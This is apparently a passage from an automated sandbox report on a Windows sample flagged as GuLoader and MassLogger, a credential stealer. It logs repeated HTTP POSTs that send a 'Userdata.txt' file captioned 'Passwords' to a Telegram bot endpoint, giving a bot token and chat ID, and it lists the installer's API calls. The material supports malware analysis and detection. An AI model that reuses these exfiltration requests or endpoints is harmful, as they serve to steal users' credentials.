0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31b1cb1e2887Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:14 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:14 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:14 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	59248	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:17 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31db50b888a4 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:24:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 62 35 30 62 38 38 38 61 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31db50b888a4Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:17 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:17 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:17 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	59250	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:19 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31ebdb3d617f Host: api.telegram.org Content-Length: 1090
2025-01-10 19:24:19 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 62 64 62 33 64 36 31 37 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31ebdb3d617fContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:19 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:19 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:19 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	59252	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:21 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd320498b12c56 Host: api.telegram.org Content-Length: 1090
2025-01-10 19:24:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 34 39 38 62 31 32 63 35 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd320498b12c56Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:21 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:21 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:21 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	59254	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:23 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3216662c95df Host: api.telegram.org Content-Length: 1090
2025-01-10 19:24:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 36 36 36 32 63 39 35 64 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3216662c95dfContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:23 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:23 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:23 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	59256	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:24 UTC	296	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3226cb0eef66 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:24:24 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 36 63 62 30 65 65 66 36 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3226cb0eef66Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:24 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:24 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:24 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	59258	149.154.167.220	443	5852	C:\Users\user\Desktop\FILHKLtCw0.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:24:26 UTC	272	OUT	POST /bot7782841068:AAEc-nCmeaG2WG8noQ4QtMz2nBxG0zDBxvA/sendDocument?chat_id=1934716051&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3239ddc2fe6e Host: api.telegram.org Content-Length: 1090
2025-01-10 19:24:26 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 39 64 64 63 32 66 65 36 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3239ddc2fe6eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:24:26 UTC	347	IN	HTTP/1.1 401 Unauthorized Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:24:26 GMT Content-Type: application/json Content-Length: 58 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:24:26 UTC	58	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 31 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 55 6e 61 75 74 68 6f 72 69 7a 65 64 22 7d Data Ascii: {"ok":false,"error_code":401,"description":"Unauthorized"}

Target ID:	0
Start time:	14:22:19
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\FILHKLtCw0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FILHKLtCw0.exe"
Imagebase:	0x400000
File size:	475'326 bytes
MD5 hash:	A2C795A981DDC798D11EC6E3ADE42301
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2868592478.0000000003DC1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:23:42
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\FILHKLtCw0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\FILHKLtCw0.exe"
Imagebase:	0x400000
File size:	475'326 bytes
MD5 hash:	A2C795A981DDC798D11EC6E3ADE42301
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000004.00000002.3309261776.00000000361FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	13.9%
Signature Coverage:	20.8%
Total number of Nodes:	1517
Total number of Limit Nodes:	46

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,000002B4,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000020), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\FILHKLtCw0.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\FILHKLtCw0.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

NSIS Error, xrefs: 00403341
TMP, xrefs: 00403512
TEMP, xrefs: 0040350A
\Temp, xrefs: 004034DC
~nsu, xrefs: 00403623
.tmp, xrefs: 0040363F
C:\Users\user\Desktop\FILHKLtCw0.exe, xrefs: 004036D6
SETUPAPI, xrefs: 004032FB
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin, xrefs: 004035D3
USERENV, xrefs: 004032F1
UXTHEME, xrefs: 004032E7
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
Low, xrefs: 004034F8
1033, xrefs: 00403526
"C:\Users\user\Desktop\FILHKLtCw0.exe", xrefs: 00403356, 0040335C, 00403553
Error launching installer, xrefs: 004035AD
SeShutdownPrivilege, xrefs: 0040374D
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866133680.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FILHKLtCw0.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\FILHKLtCw0.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\FILHKLtCw0.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-837244165
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,000000FC,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.2865991484.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2865976742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866006123.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2866052559.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
